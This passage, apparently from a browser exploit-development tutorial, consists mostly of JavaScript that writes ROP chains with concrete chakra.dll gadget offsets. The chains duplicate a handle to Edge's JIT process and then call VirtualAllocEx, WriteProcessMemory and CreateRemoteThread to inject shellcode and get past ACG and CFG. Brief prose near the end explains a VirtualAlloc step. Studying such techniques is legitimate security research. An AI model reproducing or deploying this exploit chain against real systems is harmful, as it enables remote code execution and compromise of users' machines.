write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hSourceProcessHandle (RCX)
// Handle to the JIT process from the content process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], jitHandle[0], jitHandle[1]);         // PROCESS_DUP_HANDLE HANDLE to JIT server
next();

// Call KERNELBASE!DuplicateHandle
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], duplicateHandle[0], duplicateHandle[1]); // KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // DWORD dwDesiredAccess (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // BOOL bInheritHandle (RSP+0x30)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000002, 0x00000000);             // DWORD dwOptions (RSP+0x38)
next();

// VirtuaAllocEx() ROP chain
// Stage 2 -> Allocate memory in the Edge JIT process (we have a full handle there now)

// DWORD flAllocationType (R9)
// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)
/*
0:031> ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// SIZE_T dwSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // 0x1000 (shellcode size)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPVOID lpAddress (RDX)
// Let VirtualAllocEx decide where the memory will be located
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     				   // Recall RAX already has a writable pointer in it

// Call KERNELBASE!VirtualAllocEx
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xff00, kernelbaseHigh); // KERNELBASE!VirtualAllocEx address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD flProtect (RSP+0x28) (PAGE_READWRITE)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// WriteProcessMemory() ROP chain
// Stage 3 -> Write our shellcode into the JIT process

// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)

/*
0:015> dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where we will store VirtualAllocEx allocation
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // SIZE_T nSize (0x1000)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     // Recall RAX already has a writable pointer in it

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000-0x8, kernelbaseHigh); // .data section of kernelbase.dll where we have our VirtualAllocEx allocation
next();                                                                            // (-0x8 to compensate for below where we have to read from the address at +0x8 offset
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);      // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
next();

// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000, chakraHigh);    	  // .data section of chakra.dll holding our shellcode
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// CreateRemoteThread() ROP chain
// Stage 4 -> Create a thread within the JIT process, but create it suspended
// This will allow the thread to _not_ execute until we are ready
// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later
// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain
// We will update the thread later via another ROP chain to call SetThreadContext()

// LPTHREAD_START_ROUTINE lpStartAddress (R9)
// This can be any random data, since it will never be executed
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x28b4fe, chakraHigh);	   // 0x180043c63: Anything we want - this will never get executed
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();

// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL (default security properties)
next();

// SIZE_T dwStackSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // 0 (default stack size)
next();

// Call KERNELBASE!CreateRemoteThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xdcfd0, kernelbaseHigh); // KERNELBASE!CreateRemoteThread
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPVOID lpParameter (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPDWORD lpThreadId (RSP+0x38)
next();

// WriteProcessMemory() ROP chain (Number 2)
// Stage 5 -> Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget for lpAddress

// Before, we need to preserve the thread HANDLE returned by CreateRemoteThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a100, kernelbaseHigh); // .data section of kernelbase.dll where we will store the thread HANDLE
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000008, 0x00000000);             // SIZE_T nSize (0x8)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Current process
next();

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropoffsetOne, chakraHigh); // .data section of chakra.dll where our final ROP chain is
next();                                                                       

// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where the VirtualAllocEx allocation is stored
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// WriteProcessMemory() ROP chain (Number 3)
// Stage 6 -> Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rdi gadget for our "fake return address"

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000008, 0x00000000);             // SIZE_T nSize (0x8)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Current process
next();

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropoffsetTwo, chakraHigh); // .data section of chakra.dll where our final ROP chain is
next();                                                                       

// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where the VirtualAllocEx allocation is stored
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

Before the call:

After the call:

Again, this is identical to last time and we use the ropoffsetTwo variable here, which is just used to essentially calculate the offset from where our VirtualProtect ROP chain began to the actual address within the ROP chain we want to update (lpAddress and our “fake” return address we want our ROP chain to jump to).

VirtualAlloc ROP Chain

This next function call may seem a bit confusing - a call to VirtualAlloc. We don’t really need to call this function, from an exploitation technique perspective. We will (after this function call) make a call to GetThreadContext to retrieve the state of the CPU registers for our previously created thread within the JIT process so that we can leak the value of RSP and eventually write our final ROP chain there. A GetThreadContext call expects a pointer to a CONTEXT structure - where the function will go and fill our the structure with the current CPU register state of a given thread (our remotely created thread).

On the current version of Windows used to develop this exploit, Windows 10 1703, a CONTEXT structure is 0x4d0 bytes in size. So, we will be setting up a call to VirtualAlloc to allocate 0x4d0 bytes of memory to store this structure for later usage.

Here is how our call will be setup:

VirtualAlloc(
	NULL,				// Let the system decide where to allocate the memory
	sizeof(CONTEXT),		// The size we want to allocate (size of a CONTEXT structure)
	MEM_COMMIT | MEM_RESERVE,	// Make sure this memory is committed and reserved
	PAGE_READWRITE			// Make sure the page is writable so GetThreadContext can write to it
);

Here is how this looks with ROP (with all previous ROP chains for context):

// alert() for debugging
alert("DEBUG");

// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
jitHandle = read64(chakraLo+0x74d838, chakraHigh);

// Helper function to be called after each stack write to increment offset to be written to
function next()
{
    counter+=0x8;
}

// Begin ROP chain
// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28
// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them
// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us

// DuplicateHandle() ROP chain
// Stage 1 -> Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions
// ACG is disabled in the JIT process
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299

